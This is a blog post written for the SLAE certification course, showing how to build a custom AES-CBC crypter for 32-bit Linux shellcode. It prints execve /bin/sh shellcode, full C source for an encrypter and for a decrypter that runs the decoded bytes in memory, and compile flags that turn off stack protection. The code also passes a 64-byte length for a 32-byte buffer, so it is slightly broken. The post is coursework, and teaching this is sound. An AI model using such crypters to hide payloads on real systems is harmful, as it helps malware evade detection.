14 Minute Read
Student ID: SLAE-1250

Assignment Seven: Creating a Custom Crypter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html

All code can be found in: https://github.com/securitychops/security-tube-slae32

All work was tested on a 32bit version of Ubuntu 12.10


Assignment seven of of the SLAE has us creating a custom crypter for our shellcode utilizing any preexisting cryptographic libraries/algorithms of our choosing. For this exercise I decided I would implement the customer crypter leveraging an open source project called Tiny AES in C.

In order to successfully complete this assignment we must satisfy the following conditions:

  1. Have a known sample of working shellcode.
  2. Encrypt our shellcode.
  3. Decrypt our shellcode.
  4. Run our decrypted shellcode.

The Shellcode for Execve \bin\sh

For this step I elected to use the shellcode from our exploitation of the Execve of from Assignment Four: Creating a Custom Shellcode Encoder.

If you remember we ended up with the following clean shellcode before applying any encoding to it:

"\0x31\0xc0\0x50\0x68\0x2f\0x2f\0x73\0x68\0x68\0x2f\0x62\0x69\0x6e\0x89\0xe3\0x50\0x89\0xe2\0x53\0x89\0xe1\0xb0\0x0b\0xcd\0x80"


While this shellcode is almost ready to be encrypted we must first add a few NOP instructions to it in order to make sure our buffer is in multiples of sixteen bytes. For more information as to why this is needed please visit Tiny AES in C, but the quick version as to why this happening is the following quote:

No padding is provided so for CBC and ECB all buffers should be multiples of 16 bytes. For padding PKCS7 is recommendable.

And since our 128 bit crypter algorithm is going to be based on CBC then our final shellcode before being encrypted will be:

uint8_t in[] = { 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 
                 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50, 
                 0x89, 0xe2, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 
                 0x80, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };


Encrypting Our Shellcode

We are going to be encrypting our shellcode with a 128bit AES Cipher Block Chaining (CBC) algorithm.

An image depicting the process of how the encryption occurs (which was directly taken from Wikipedia … for more information be sure to visit the Wikipedia page for Cipher Block Chaining (CBC):

CBC Encryption

For the sake of simplicity, and also because we are making them something fun, we are going to hard code the key and the IV for usage in the encryption process:

//w00tw00tw00tw00tw00tw00tw00tw00t
uint8_t key[] = { 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 
                  0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74,
                  0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 
                  0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74 };
                  
//w00tw00tw00tw00t
uint8_t iv[]  = { 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 
                  0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74 };


Having said all of that all that is left is to write the custom crypter and since we are using the Tiny AES in C project I borrowed pretty liberally from the test.c source file provided within the project.

Below is the final result of our custom crypter, which will be used to encrypt the shellcode, which we will then place into our custom decrypter in the next section!

// Student ID     : SLAE-1250
// Student Name   : Jonathan "Chops" Crosby
// Assignment 7   : Custom Crypter
// File Name      : crypter.c
// Derived From   : https://github.com/kokke/tiny-AES-c

#include <stdio.h>
#include <string.h>
#include <stdint.h>

#define CBC 1
#define CTR 1
#define ECB 1

#include "aes.h"

static void encrypt_cbc(void)
{

    //w00tw00tw00tw00tw00tw00tw00tw00t
    uint8_t key[] = { 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74,
                      0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74 };

    //woot + 12 nops
	uint8_t in[] = { 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 
        	         0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50, 
                	 0x89, 0xe2, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 
	                 0x80, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };

    //w00tw00tw00tw00t
    uint8_t iv[]  = { 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74 };

    struct AES_ctx ctx;

    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_encrypt_buffer(&ctx, in, 64);

    printf("\n");

    printf("\n\nEncrypted Shellcode:\n");
    printf("--------------------\n");

    int i;
    for (i = 0; i < sizeof in; i ++)
    {
        printf("\\0x%02x", in[i]);
    }

    printf("\n");
    printf("\n");
}

int main(void)
{
    encrypt_cbc();
    return 0;
}


At this point our crypter is completed, so lets go ahead and compile it. Notice this time we don’t need to disable the compiler safety checks since this C code will not be executing the shellcode in memory, only generating the encrypted shellcode to put in our decrypter!

gcc crypter.c aes.c -o crypter
Before trying to compile make sure to download/add the aes.h and aes.c files to your source directory or else it will not work!


Now all that is left is to run the custom crypter and generate our encrypted shellcode!


Animated gif of our custom crypter to generate our encrypted shellcode!

running the custom crypter


Decrypting Our Shellcode

After running our newly created 128bit AES crypter we should have received the following encrypted shellcode:

\0x90\0x60\0x90\0x9f\0xab\0xbf\0xb9\0xea\0x15\0x98\0x38\0xea\0x0b\0xbb\0xe6\0x45\0x95\0xea\0x24\0xc3\0x87\0xda\0xd2\0x75\0xf6\0x20\0x2b\0xa4\0xdc\0x02\0x91\0x67


Armed with this shellcode we can now put together our decrypter using the same key and IV as well as our newly encrypted shellcode!

Just like in the previous section we have included an image depicting the process of how the decryption occurs (which was again directly taken from Wikipedia … for more information be sure to visit the Wikipedia page for Cipher Block Chaining (CBC):

CBC Decryption

Once again, having said all of that all that is left is to write the custom decrypter and since we are still using the Tiny AES in C project I borrowed pretty liberally from the test.c source file provided within the project yet again!

Below is the final result of our custom decrypter, which will be used to decrypt the encrypted shellcode, which will then be executed and will drop us into a fully functional /bin/sh prompt!

// Student ID     : SLAE-1250
// Student Name   : Jonathan "Chops" Crosby
// Assignment 7   : Custom Decrypter
// File Name      : decrypter.c
// Derived From   : https://github.com/kokke/tiny-AES-c

#include <stdio.h>
#include <string.h>
#include <stdint.h>

#define CBC 1
#define CTR 1
#define ECB 1

#include "aes.h"

//encrypted shellcode for execve for /bin/sh
uint8_t shellcode[] =  { 0x90, 0x60, 0x90, 0x9f, 0xab, 0xbf, 0xb9, 0xea, 0x15, 0x98,
                         0x38, 0xea, 0x0b, 0xbb, 0xe6, 0x45, 0x95, 0xea, 0x24, 0xc3,
                         0x87, 0xda, 0xd2, 0x75, 0xf6, 0x20, 0x2b, 0xa4, 0xdc, 0x02,
                         0x91, 0x67 };

static void decrypt_cbc(void)
{

    //w00tw00tw00tw00tw00tw00tw00tw00t
    uint8_t key[] = { 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74,
                      0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74 };

    //w00tw00tw00tw00t
    uint8_t iv[]  = { 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74, 0x77, 0x30, 0x30, 0x74 };

    struct AES_ctx ctx;

    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_decrypt_buffer(&ctx, shellcode, 64);

    putchar('\n');
}

void showHex(uint8_t* shellin, size_t size)
{
    int i;
    for (i = 0; i < sizeof shellcode; i ++)
    {
        printf("\\0x%02x", shellcode[i]);
    }
}

int main(void)
{
    printf("\n\nEncrypted Shellcode:\n");
    printf("--------------------\n");
    showHex(shellcode, sizeof(shellcode)-1);

    decrypt_cbc();

    printf("\n\nDecrypted Shellcode:\n");
    printf("--------------------\n");
    showHex(shellcode, sizeof(shellcode)-1);

    printf("\n\nExecuting Shellcode Now!\n");
    printf("--------------------\n");

    int (*ret)() = (int(*)())shellcode;

    ret();

    return 0;

}


Now that we have our code written lets go ahead and compile it, this time making sure to account for the disabling of all the necessary compiler safety checks so that we can execute our newly decrypted shellcode!

gcc decrypter.c aes.c -o decrypter -fno-stack-protector -z execstack
Before trying to compile make sure to download/add the aes.h and aes.c files to your source directory or else it will not work!


Now that we have a successfully compiled executable all that is left is to run it!

Running Our Decrypted Shellcode

The final step in our process is running the decrypter and seeing it in action. If all goes according to plan we will see both the encrypted shellcode and the decrypted shellcode before being dropped to the newely executed /bin/sh prompt. Below is an animation showing the decrypter in action!


Animated gif of the complete compilation and running of our custome decrypter!

running the decrypted shellcode


End of the SLAE

This concludes the series of blog posts for the SecurityTube Linux Assembly Expert (SLAE). I just wanted to take a moment and say thank you to all the folks over at SecurityTube for putting together this course. In particular I was very impressed with the final exam format of having to post blog entires into the public domain. By having to blog the explanations to all of these concepts and assignments I can honestly say that I have learned an absolute ton about shellcoding! If you have made it this far into the series of blog posts and have any interest in this certification at all I absolutely recommend this course. Vivek Ramachandran was an incredible teacher and made working through this course work a breeze. In the end this was much more work than I anticipated, but it was worth every single hour spent on it!

Thanks for reading!


Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)